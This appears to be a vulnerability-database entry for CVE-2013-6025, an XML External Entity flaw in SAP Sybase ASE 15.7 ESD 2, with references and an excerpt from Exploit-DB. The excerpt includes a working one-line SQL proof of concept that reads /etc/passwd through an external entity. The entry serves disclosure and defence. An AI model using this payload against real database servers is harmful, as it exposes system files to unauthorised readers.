CVE-2013-6025
Description
The XMLParse procedure in SAP Sybase Adaptive Server Enterprise (ASE) 15.7 ESD 2 allows remote authenticated users to read arbitrary files via a SQL statement containing an XML document with an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
SAP Sybase Adaptive Server Enterprise - XML External Entity Information Disclosure
source: https://www.securityfocus.com/bid/63193/info
SAP Sybase Adaptive Server Enterprise is prone to an information-disclosure vulnerability.
An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.
SAP Sybase Adaptive Server Enterprise 15.7 ESD 2 is vulnerable; other versions may also be affected.
SELECT xmlextract('/', xmlparse('<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>')) Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| sybase | adaptive_server_enterprise | 15.7 | |
References
- http://secunia.com/advisories/55377
- http://www.kb.cert.org/vuls/id/303900
- http://www.securityfocus.com/bid/63193
- http://www.securitytracker.com/id/1029208
- https://exchange.xforce.ibmcloud.com/vulnerabilities/88105
- https://www.exploit-db.com/exploits/38805/
- http://secunia.com/advisories/55377
- http://www.kb.cert.org/vuls/id/303900
- http://www.securityfocus.com/bid/63193
- http://www.securitytracker.com/id/1029208
- https://exchange.xforce.ibmcloud.com/vulnerabilities/88105
- https://www.exploit-db.com/exploits/38805/
CWEs
CWE-94
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.